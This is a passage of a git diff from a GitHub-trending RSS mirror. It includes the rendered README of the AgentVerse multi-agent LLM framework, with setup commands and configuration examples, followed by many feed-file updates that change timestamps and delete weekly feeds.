<p>Also, if you're passionate about advancing the frontiers of multi-agent environments and are eager to dive deeper into research, we invite you to join our team at THUNLP. To explore this exciting opportunity and embark on a collaborative journey with us, please reach out to <a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/chenweize1998@gmail.com">chenweize1998@gmail.com</a> and <a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/yushengsu.thu@gmail.com">yushengsu.thu@gmail.com</a> and express your interest. We're keen to welcome motivated individuals like you to our lab!</p> <h2>🗓 Coming Soon</h2> <ul> <li><input type="checkbox" disabled> Code release of our <a href="https://arxiv.org/abs/2308.10848">paper</a></li> <li><input type="checkbox" disabled> Add documentation</li> <li><input type="checkbox" disabled> Support more sophisticated memory for conversation history</li> <li><input type="checkbox" disabled> Add support for local LLM</li> <li><input type="checkbox" disabled> Auto-generate UI based on the given multi-agent environment</li> </ul> <h2>👾 Simple Demo Video</h2> <p>We demonstrate the following cases that are expertly crafted by AgentVerse.</p> <!-- ### [![Demo video](https://i.imgur.com/vKb2F1B.png)](https://youtu.be/9JCVfzMFhaM) --> <!--![image](imgs/multiagent-min.gif)--> <!-- - **NLP Classroom**: --> <h4>NLP Classroom</h4> <p>In the NLP class, the professor and students engage in interactive communication. When students have a question, they raise their hands and patiently wait for the professor to call on them. Only after being called on by the professor, can students speak and ask their questions.</p> <p>Use the following command to launch the NLP Classroom example:</p> <pre><code class="language-bash">python main_demo.py --task nlp_classroom_9players </code></pre> <p><a href="https://github.com/OpenBMB/AgentVerse/assets/11704492/6ea07850-595e-4a28-a82e-f863011353c2">https://github.com/OpenBMB/AgentVerse/assets/11704492/6ea07850-595e-4a28-a82e-f863011353c2</a></p> <h4>Prisoner Dilemma</h4> <p>A prisoner's Dilemma is a thought experiment that challenges two completely rational agents to a dilemma: they can cooperate with their partner for mutual benefit or betray their partner ("defect") for individual reward.</p> <p>Use the following command to launch the Prisoner Dilemma example:</p> <pre><code class="language-bash">python main_demo.py --task prisoner_dilemma </code></pre> <p><a href="https://github.com/OpenBMB/AgentVerse/assets/11704492/017c46e5-c738-4fca-9352-b008e2d518bd">https://github.com/OpenBMB/AgentVerse/assets/11704492/017c46e5-c738-4fca-9352-b008e2d518bd</a></p> <h4>Software Design</h4> <p>In the Software Design example, a code writer, a code tester and a code reviewer collaborate on the code generation problem. Given a problem, the code writer first composes the code implementation. The code tester runs the unit tests and provides the feedback. The code viewer then generates a review. After collecting the test feedback and review, the code writer iteratively refines the code.</p> <p>Use the following command to launch the Software Design example:</p> <pre><code class="language-bash">python main_demo.py --task sde_team/sde_team_2players </code></pre> <p><a href="https://github.com/OpenBMB/AgentVerse/assets/11704492/5058066a-abee-490d-8659-b4e54661626a">https://github.com/OpenBMB/AgentVerse/assets/11704492/5058066a-abee-490d-8659-b4e54661626a</a></p> <h4><a href="https://github.com/TsinghuaDatabaseGroup/DB-GPT">Database Administrator (DBA)</a></h4> <p>In the database diagnosis scenario, the Chief DBA monitors the system anomalies (e.g., slow queries, locks, crash down). If detected, the domain experts are alerted to analyze root causes, share insights, and suggest optimization solutions together. The Chief DBA then provides a summarized report to the user.</p> <pre><code class="language-bash">python main_demo.py --task db_diag </code></pre> <p><a href="https://github.com/OpenBMB/AgentVerse/assets/11704492/c633419d-afbb-47d4-bb12-6bb512e7af3a">https://github.com/OpenBMB/AgentVerse/assets/11704492/c633419d-afbb-47d4-bb12-6bb512e7af3a</a></p> <h4><a href="https://github.com/chanchimin/ChatEval">Text Evaluation (ChatEval)</a></h4> <p>In the context of the text evaluation scenario, we recommend users explore the <a href="https://github.com/chanchimin/ChatEval">ChatEval</a> repo. They've implemented a multi-agent referee team on AgentVerse to assess the quality of text generated by different models. When given two distinct pieces of text, roles within ChatEval can autonomously debate the nuances and disparities, drawing upon their assigned personas, and subsequently provide their judgments. Experiments indicate that their referee team, enriched with diverse roles specified in <a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#2-configuring-the-agents">config.yaml</a>, aligns more closely with human evaluations. This demo is built upon the <a href="https://github.com/lm-sys/FastChat">Fastchat</a> repo, and we'd like to express our appreciation for their foundational work.</p> <p><a href="https://github.com/OpenBMB/AgentVerse/assets/75533759/58f33468-f15b-4bac-ae01-8d0780019f85">https://github.com/OpenBMB/AgentVerse/assets/75533759/58f33468-f15b-4bac-ae01-8d0780019f85</a></p> <h4>Pokemon</h4> <p>In the game, agents can visit shops, train their Pokémon at the gym, and interact with one another. As a player, you take on the role of an agent and can engage with others at any time. There are 6 characters in the Pokémon environment who appeared in Pokemon Emerald: <a href="https://bulbapedia.bulbagarden.net/wiki/May_(game)">May</a>, <a href="https://bulbapedia.bulbagarden.net/wiki/Professor_Birch">Professor Birch</a>, <a href="https://bulbapedia.bulbagarden.net/wiki/Steven_Stone">Steven Stone</a>, <a href="https://bulbapedia.bulbagarden.net/wiki/Maxie">Maxie</a>, <a href="https://bulbapedia.bulbagarden.net/wiki/Archie">Archie</a> and <a href="https://bulbapedia.bulbagarden.net/wiki/Mr._Stone">Joseph</a>.</p> <p>To launch the Pokemon game, first launch a local server with the following command:</p> <pre><code class="language-bash">uvicorn pokemon_server:app --reload --port 10002 </code></pre> <p>Then open another terminal in the project's root path and run the following command:</p> <pre><code class="language-bash">cd ui # If you do not have npm installed, you need to install it before running the following commands # https://docs.npmjs.com/downloading-and-installing-node-js-and-npm # We have tested on npm@9.6.4, node@20.0.0 npm install npm run watch </code></pre> <p>Wait for the compilation to complete, and have fun! (WASD for moving around, and SPACE for launching a conversation.)</p> <p><a href="https://github.com/OpenBMB/AgentVerse/assets/11704492/4d07da68-f942-4205-b558-f155e95782e7">https://github.com/OpenBMB/AgentVerse/assets/11704492/4d07da68-f942-4205-b558-f155e95782e7</a></p> <h2>Contents</h2> <ul> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#-features">✨ Features</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#-whats-new">📰 What's New</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#-join-us">🌟 Join Us!</a> <ul> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#how-can-you-contribute">How Can You Contribute?</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#-coming-soon">🗓 Coming Soon</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#-simple-demo-video">👾 Simple Demo Video</a> <ul> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#nlp-classroom">NLP Classroom</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#prisoner-dilemma">Prisoner Dilemma</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#software-design">Software Design</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#database-administrator-dba">Database Administrator (DBA)</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#text-evaluation-chateval">Text Evaluation (ChatEval)</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#pokemon">Pokemon</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#contents">Contents</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#-getting-started">🚀 Getting Started</a> <ul> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#installation">Installation</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#cli-example">CLI Example</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#local-website-demo">Local Website Demo</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#-philosophy">💡 Philosophy</a> <ul> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#environment">Environment</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#agent">Agent</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#%EF%B8%8F-customize-your-own-environment">✍️ Customize Your Own Environment</a> <ul> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#a-simple-example-building-a-classroom-environment">A Simple Example: Building a Classroom Environment</a> <ul> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#1-creating-a-task-directory-and-configuring-the-environment">1. Creating a Task Directory and Configuring the Environment</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#2-configuring-the-agents">2. Configuring the Agents</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#3-writing-an-output-parser">3. Writing an Output Parser</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#customization-guide-for-more-complex-environments">Customization Guide for More Complex Environments</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#-examples">🔎 Examples</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#star-history">Star History</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#citation">Citation</a></li> <li><a href="https://raw.githubusercontent.com/OpenBMB/AgentVerse/main/#contact">Contact</a></li> </ul> <h2>🚀 Getting Started</h2> <h3>Installation</h3> <pre><code class="language-bash">pip install -U agentverse </code></pre> <p>Or you can install the package by manually cloning the latest repository</p> <pre><code class="language-bash">git clone https://github.com/OpenBMB/AgentVerse.git --depth 1 cd AgentVerse pip install -r requirements.txt </code></pre> <p>Some users have reported problems installing the <code>orjson</code> required by <code>gradio</code>. One simple workaround is to install it with Anaconda <code>conda install -c conda-forge orjson</code>.</p> <p>You also need to export your OpenAI API key as follows</p> <pre><code class="language-bash"># Export your OpenAI API key export OPENAI_API_KEY="your_api_key_here" </code></pre> <p>If you want to use the tools provided by BMTools, you need to install BMTools as follows:</p> <pre><code class="language-bash">git clone git+https://github.com/OpenBMB/BMTools.git cd BMTools pip install -r requirements.txt python setup.py develop </code></pre> <!-- # Install BMTools cd ../ git clone git@github.com:OpenBMB/BMTools.git cd BMTools python setup.py develop --> <h3>CLI Example</h3> <p>You can create a multi-agent environments provided by us. Using the classroom scenario as an example. In this scenario, there are nine agents, one playing the role of a professor and the other eight as students.</p> <pre><code class="language-shell">python3 main.py --task nlp_classroom_9players </code></pre> <h3>Local Website Demo</h3> <p>We also provide a local website demo for this environment. You can launch it with</p> <pre><code class="language-shell">python3 main_demo.py --task nlp_classroom_9players </code></pre> <p>After successfully launching the local server, you can visit <a href="http://127.0.0.1:7860/">http://127.0.0.1:7860/</a> to view the classroom environment.</p> <h2>💡 Philosophy</h2> <h3>Environment</h3> <p>At the core of our framework is the environment, which plays a crucial role in enabling researchers to study the behavior of agents under different conditions. We believe that the environment should be flexible and extensible, allowing researchers to easily customize it to fit their needs. To achieve this, we have abstracted the environment into five rule components, and implementing different environments is actually implementing different rules:</p> <ul> <li><strong>Describer</strong>: This component provides a description of the environment at each turn for each agent. You can customize the describer to define the specific requirements of their environment, such as the agents with whom an agent can interact.</li> <li><strong>Order</strong>: This component defines the order in which agents take actions within the environment. You can customize the order to reflect the desired interaction between agents. We provide several basic order options, including <code>random</code>, <code>sequential</code>, and <code>concurrent</code> (in which all agents take an action in each turn).</li> <li><strong>Selector</strong>: This component selects the valid messages generated by agents. Sometimes agents may generate invalid responses, and the selector is used to filter out unexpected results.</li> <li><strong>Updater</strong>: This component updates the memory of each agent. In certain cases, the response generated by one agent should not be seen by all agents (e.g., if agents are in different rooms). For each response, the updater updates only the agents who can see it.</li> <li><strong>Visibility</strong>: This component maintains the list of agents that each agent can see throughout the environment's changes. For example, when an agent moves from one room to another, the list of visible agents of each agent should be updated by <code>visibility</code>.</li> </ul> <p>By abstracting the environment into these five components, we have created a highly flexible and extensible framework that enables researchers to easily build and customize their own multi-agent environments.</p> <h3>Agent</h3> <p>Another fundamental component is the agent. Currently we provide two types of agents: <strong>ConversationAgent</strong> and <strong>ToolAgent</strong>. You can also customize your own agent by inheriting BaseAgent class (tutorial coming soon).</p> <h2>✍️ Customize Your Own Environment</h2> <p>We have provided several examples in the <code>agentverse/tasks</code> directory. To customize your environment, you should</p> <ol> <li>Create a task directory in <code>agentverse/tasks</code></li> <li>Write the configuration file</li> <li>Write the output parser that parses the response of your agents.</li> <li>Add your parser in <code>agentverse/tasks/__init__.py</code></li> </ol> <p>We will use a simple example in <code>agentverse/tasks/nlp_classroom_3players</code> to illustrate the procedure.</p> <h3>A Simple Example: Building a Classroom Environment</h3> <p>To illustrate how to customize your environment, we'll use a simple example of building a classroom environment where one agent is the professor, one is the student, and one is the teaching assistant.</p> <h5>1. Creating a Task Directory and Configuring the Environment</h5> <p>First, we need to create a task directory and write our configuration file for the environment. In the <code>agentverse/tasks</code> directory, create a new directory called <code>nlp_classroom_3players</code>. Inside this directory, create a <code>config.yaml</code> file and write the following configuration:</p> <pre><code class="language-yaml"># config.yaml environment: env_type: basic # Use the basic environment provided in AgentVerse max_turns: 10 # Specify the maximum number of dialogue turns rule: order: type: sequential # Use the sequential order visibility: type: all # Each message can be seen by all agents selector: type: basic # Basic selector (do not select) updater: type: basic # Basic updater (update the message to all agents) describer: type: basic # Basic describer (no description) </code></pre> <p>This configuration specifies that we will use the basic environment provided in AgentVerse, with a maximum of 10 dialogue turns. We'll use the sequential order, with all messages visible to all agents. We won't be using any selectors, our updater will update the messages to all the agents and our describer will provide no description.</p> <h5>2. Configuring the Agents</h5> <p>Next, we'll configure the agents. In the <code>config.yaml</code> file, we'll add the configuration for each agent. Here's an example configuration for the professor:</p> <pre><code class="language-yaml"># config.yaml agents: - agent_type: conversation name: Professor Micheal # Name of the agent role_description: You are Prof. Micheal, ... # Description of the agent memory: memory_type: chat_history # Will store all the chat history prompt_template: *professor_prompt llm: llm_type: text-davinci-003 # Will use OpenAICompletion LLM model: text-davinci-003 # The arguments passed to the api call temperature: 0.7 max_tokens: 250 </code></pre> <p>In this example, we'll use the <code>conversation</code> agent type. We've given the agent a name and a description, and we'll store the chat history in memory. We've also provided a prompt template with placeholders marked as ${placeholder}. These will be instantiated by the <code>_fill_prompt_template</code> method of the agent.</p> <h5>3. Writing an Output Parser</h5> <p>The next step is to write a simple parser for your agent's response. Because you may have specified the output format in your prompt template, you need to provide a corresponding parser. In this example, we inform the model to output in the following format in our prompt template</p> <pre><code>Action: Speak Action Input: (the content) </code></pre> <p>We'll write a parser to extract the content from the agent's response. Refer to the code for more details. We've decorated our parser function with <code>@output_parser_registry.register('classroom_parser')</code> to register it with our framework. Finally, we import our parser in <code>agentverse/tasks/__init__.py</code>.</p> <p>With these steps, we've successfully built a simple classroom environment and customized it for our needs.</p> <h3>Customization Guide for More Complex Environments</h3> <p>While we provide a basic framework for building environments with our five rule components, more complex environments may require further customization. A detailed documentation and tutorial is coming soon. Here we briefly introduce some steps you can take to customize your environment:</p> <ol> <li><strong>Customize the five rule components</strong>. Each rule component has an interface, allowing you to customize its behavior to suit your specific needs. It's important to note that these components are not necessarily independent and can interact through the <code>rule_params</code> dictionary in the environment. You can create your own rule components and integrate them with the existing ones to build more complex interactions between agents.</li> <li><strong>Customize the environment itself</strong>. Our <code>basic</code> environment provides a default execution order for the five rule components that is suitable for most cases, but you can inherit the <code>BaseEnvironment</code> class and write your own <code>run</code> method to implement a more sophisticated execution order.</li> <li><strong>Customize the agent</strong>. Depending on your specific use case, you may also need to inherit the <code>BaseAgent</code> class. For example, you may want to use your local LLM as your agents or create agents with specialized knowledge or skills.</li> </ol> <h2>🔎 Examples</h2> <p>Currently, we offer some simple examples in the <code>agentverse/tasks</code> directory, each demonstrating different possibilities of our framework. While the performance of these examples may not be optimal due to limited prompt engineering, they are intended to showcase the capabilities of our framework, such as allowing the use of tools.</p> <p>Here's a brief overview of each example:</p> <ol> <li><code>nlp_classroom_3players</code>: This example illustrates a simple case in which agents will speak in sequential order.</li> <li><code>nlp_classroom_9players</code>: This is an NLP class example. Here, students can raise their hand when they have a question, and the professor can call on the students to let them ask. Students are only allowed to speak after they are called on.</li> <li><code>nlp_classroom_9players_group</code>: This example showcases group discussions. The professor may initiate a group discussion when needed, and students can exclusively interact with fellow students within the same group during the discussion.</li> <li><code>nlp_classroom_3players_withtool</code>: Students in this classroom can use Bing search API when listening to the class.</li> <li><code>math_problem_2players_tools</code>: A simple example demonstrating how two agents can use the WolframAlpha API to play an arithmetic game.</li> <li><code>prisoner_dilema</code>: The Prisoner's Dilemma is a thought experiment involving two rational agents facing a choice between cooperating for mutual benefit or betraying their partner for individual gain.</li> <li><code>db_diag</code>: The Chief DBA monitors (agents) the database system for anomalies and alerts memory and CPU agents if any are detected. They (agents) analyze root causes and suggest optimization solutions. The Chief DBA (agent) provides a diagnosis summary to the user, who can give instructions or evaluate the proposed solutions' effectiveness.</li> <li><code>sde_team</code>: In the SDE team, code writer, code tester and code reviewer collaborate on the code generation problem.</li> <li><code>pokemon</code>: This example intimates Pokemon game.</li> </ol> <h2>Star History</h2> <p><a href="https://star-history.com/#OpenBMB/AgentVerse&amp;Date"><img src="https://api.star-history.com/svg?repos=OpenBMB/AgentVerse&amp;type=Date" alt="Star History Chart"></a></p> <h2>Citation</h2> <p>If you find this repo helpful, feel free to cite us.</p> <pre><code>@misc{chen2023agentverse, title={AgentVerse: Facilitating Multi-Agent Collaboration and Exploring Emergent Behaviors in Agents}, author={Weize Chen and Yusheng Su and Jingwei Zuo and Cheng Yang and Chenfei Yuan and Chen Qian and Chi-Min Chan and Yujia Qin and Yaxi Lu and Ruobing Xie and Zhiyuan Liu and Maosong Sun and Jie Zhou}, year={2023}, eprint={2308.10848}, archivePrefix={arXiv}, primaryClass={cs.CL} } </code></pre> <h2>Contact</h2> <p>Weize Chen: <a href="mailto:chenwz21@mails.tsinghua.edu.cn">chenwz21@mails.tsinghua.edu.cn</a></p> <p><a href="https://yushengsu-thu.github.io/">Yusheng Su</a>: <a href="mailto:yushengsu.thu@gmail.com">yushengsu.thu@gmail.com</a></p> - - \ No newline at end of file diff --git a/jest-snapshot/daily/index.xml b/jest-snapshot/daily/index.xml index dbc2660a551..1c13e70926f 100644 --- a/jest-snapshot/daily/index.xml +++ b/jest-snapshot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jest Snapshot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:01Z + 2023-09-25T01:32:50Z Daily Trending of Jest Snapshot in GitHub \ No newline at end of file diff --git a/jest-snapshot/weekly/index.xml b/jest-snapshot/weekly/index.xml deleted file mode 100644 index 8f575f55713..00000000000 --- a/jest-snapshot/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jest Snapshot Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:54Z - Weekly Trending of Jest Snapshot in GitHub - - \ No newline at end of file diff --git a/jflex/daily/index.xml b/jflex/daily/index.xml index d6b04b3ece5..95f5a6a575f 100644 --- a/jflex/daily/index.xml +++ b/jflex/daily/index.xml @@ -1,7 +1,7 @@ GitHub JFlex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:00Z + 2023-09-25T01:32:53Z Daily Trending of JFlex in GitHub \ No newline at end of file diff --git a/jflex/weekly/index.xml b/jflex/weekly/index.xml deleted file mode 100644 index d3230ee86ae..00000000000 --- a/jflex/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JFlex Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:55Z - Weekly Trending of JFlex in GitHub - - \ No newline at end of file diff --git a/jinja/daily/index.xml b/jinja/daily/index.xml index 01b34feb186..097ba1a4e08 100644 --- a/jinja/daily/index.xml +++ b/jinja/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jinja Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:33:59Z + 2023-09-25T01:32:51Z Daily Trending of Jinja in GitHub \ No newline at end of file diff --git a/jinja/weekly/index.xml b/jinja/weekly/index.xml deleted file mode 100644 index b868fdad8ae..00000000000 --- a/jinja/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jinja Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:56Z - Weekly Trending of Jinja in GitHub - - \ No newline at end of file diff --git a/jison-lex/daily/index.xml b/jison-lex/daily/index.xml index e3b2ef5b6c3..f8f85ecaa78 100644 --- a/jison-lex/daily/index.xml +++ b/jison-lex/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jison Lex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:03Z + 2023-09-25T01:32:54Z Daily Trending of Jison Lex in GitHub \ No newline at end of file diff --git a/jison-lex/weekly/index.xml b/jison-lex/weekly/index.xml deleted file mode 100644 index fcabd5aed66..00000000000 --- a/jison-lex/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jison Lex Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:58Z - Weekly Trending of Jison Lex in GitHub - - \ No newline at end of file diff --git a/jison/daily/index.xml b/jison/daily/index.xml index c1918bbd6c4..d3d53286c7c 100644 --- a/jison/daily/index.xml +++ b/jison/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jison Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:04Z + 2023-09-25T01:32:57Z Daily Trending of Jison in GitHub \ No newline at end of file diff --git a/jison/weekly/index.xml b/jison/weekly/index.xml deleted file mode 100644 index 7ddc66243cc..00000000000 --- a/jison/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jison Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:57Z - Weekly Trending of Jison in GitHub - - \ No newline at end of file diff --git a/jolie/daily/index.xml b/jolie/daily/index.xml index b3c5426d5a0..37ea7b787a9 100644 --- a/jolie/daily/index.xml +++ b/jolie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jolie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:05Z + 2023-09-25T01:32:56Z Daily Trending of Jolie in GitHub \ No newline at end of file diff --git a/jolie/weekly/index.xml b/jolie/weekly/index.xml deleted file mode 100644 index e121b5b1192..00000000000 --- a/jolie/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Jolie Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:00Z - Weekly Trending of Jolie in GitHub - - \ No newline at end of file diff --git a/jq/daily/index.xml b/jq/daily/index.xml index 5a551d0462d..bd435c79f68 100644 --- a/jq/daily/index.xml +++ b/jq/daily/index.xml @@ -1,7 +1,7 @@ GitHub jq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:02Z + 2023-09-25T01:32:55Z Daily Trending of jq in GitHub \ No newline at end of file diff --git a/jq/weekly/index.xml b/jq/weekly/index.xml deleted file mode 100644 index be9640884a2..00000000000 --- a/jq/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub jq Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:59Z - Weekly Trending of jq in GitHub - - \ No newline at end of file diff --git a/json-with-comments/daily/index.xml b/json-with-comments/daily/index.xml index 1a54072a767..a1f20601f2f 100644 --- a/json-with-comments/daily/index.xml +++ b/json-with-comments/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON with Comments Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:06Z + 2023-09-25T01:33:00Z Daily Trending of JSON with Comments in GitHub \ No newline at end of file diff --git a/json-with-comments/weekly/index.xml b/json-with-comments/weekly/index.xml deleted file mode 100644 index a333b9a0c30..00000000000 --- a/json-with-comments/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JSON with Comments Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:01Z - Weekly Trending of JSON with Comments in GitHub - - \ No newline at end of file diff --git a/json/daily/index.xml b/json/daily/index.xml index fec244f1240..4f84b8aaa82 100644 --- a/json/daily/index.xml +++ b/json/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:08Z + 2023-09-25T01:32:59Z Daily Trending of JSON in GitHub \ No newline at end of file diff --git a/json/weekly/index.xml b/json/weekly/index.xml deleted file mode 100644 index efd44a0b83c..00000000000 --- a/json/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JSON Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:03Z - Weekly Trending of JSON in GitHub - - \ No newline at end of file diff --git a/json5/daily/index.xml b/json5/daily/index.xml index 3f11eaf30e4..d5fa977d3c7 100644 --- a/json5/daily/index.xml +++ b/json5/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON5 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:07Z + 2023-09-25T01:32:58Z Daily Trending of JSON5 in GitHub \ No newline at end of file diff --git a/json5/weekly/index.xml b/json5/weekly/index.xml deleted file mode 100644 index df892fdb3cb..00000000000 --- a/json5/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JSON5 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:02Z - Weekly Trending of JSON5 in GitHub - - \ No newline at end of file diff --git a/jsoniq/daily/index.xml b/jsoniq/daily/index.xml index 0ef1b632afe..6dd538c3f5c 100644 --- a/jsoniq/daily/index.xml +++ b/jsoniq/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSONiq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:07Z + 2023-09-25T01:32:59Z Daily Trending of JSONiq in GitHub \ No newline at end of file diff --git a/jsoniq/weekly/index.xml b/jsoniq/weekly/index.xml deleted file mode 100644 index 21da7581d74..00000000000 --- a/jsoniq/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JSONiq Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:02Z - Weekly Trending of JSONiq in GitHub - - \ No newline at end of file diff --git a/jsonld/daily/index.xml b/jsonld/daily/index.xml index 80acf0412ca..32b1528e63d 100644 --- a/jsonld/daily/index.xml +++ b/jsonld/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSONLD Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:09Z + 2023-09-25T01:33:01Z Daily Trending of JSONLD in GitHub \ No newline at end of file diff --git a/jsonld/weekly/index.xml b/jsonld/weekly/index.xml deleted file mode 100644 index 693b8519d07..00000000000 --- a/jsonld/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JSONLD Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:04Z - Weekly Trending of JSONLD in GitHub - - \ No newline at end of file diff --git a/jsonnet/daily/index.xml b/jsonnet/daily/index.xml index 51aaf0887f3..273fb444e2b 100644 --- a/jsonnet/daily/index.xml +++ b/jsonnet/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jsonnet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:11Z + 2023-09-25T01:33:03Z Daily Trending of Jsonnet in GitHub \ No newline at end of file diff --git a/jsonnet/weekly/index.xml b/jsonnet/weekly/index.xml deleted file mode 100644 index 79846a52fa7..00000000000 --- a/jsonnet/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Jsonnet Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:05Z - Weekly Trending of Jsonnet in GitHub - - - eclipse-sumo/.eclipsefdn - 2023-09-24T01:54:05Z - tag:github.com,2023-09-24:/eclipse-sumo/.eclipsefdn - - <p>Repository to host configurations related to the Eclipse Foundation.</p><hr> - - \ No newline at end of file diff --git a/julia/daily/index.xml b/julia/daily/index.xml index afb41befe41..f439eeb5020 100644 --- a/julia/daily/index.xml +++ b/julia/daily/index.xml @@ -1,14 +1,7 @@ GitHub Julia Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:16Z + 2023-09-25T01:33:05Z Daily Trending of Julia in GitHub - - PeaceFounder/PeaceFounder.jl - 2023-09-24T01:34:16Z - tag:github.com,2023-09-24:/PeaceFounder/PeaceFounder.jl - - <p>Evoting system for democracy through pseudonym braiding and full public auditability without secrets</p><hr> - \ No newline at end of file diff --git a/julia/weekly/index.xml b/julia/weekly/index.xml deleted file mode 100644 index c24e3bb0f4e..00000000000 --- a/julia/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Julia Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:54:07Z - Weekly Trending of Julia in GitHub - - - JuliaPy/PythonCall.jl - 2023-09-24T01:54:07Z - tag:github.com,2023-09-24:/JuliaPy/PythonCall.jl - - <p>Python and Julia in harmony.</p><hr> - - \ No newline at end of file diff --git a/jupyter-notebook/daily/index.xml b/jupyter-notebook/daily/index.xml index d22182a8818..a76d99f7d65 100644 --- a/jupyter-notebook/daily/index.xml +++ b/jupyter-notebook/daily/index.xml @@ -1,28 +1,14 @@ GitHub Jupyter Notebook Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:34:16Z + 2023-09-25T01:33:09Z Daily Trending of Jupyter 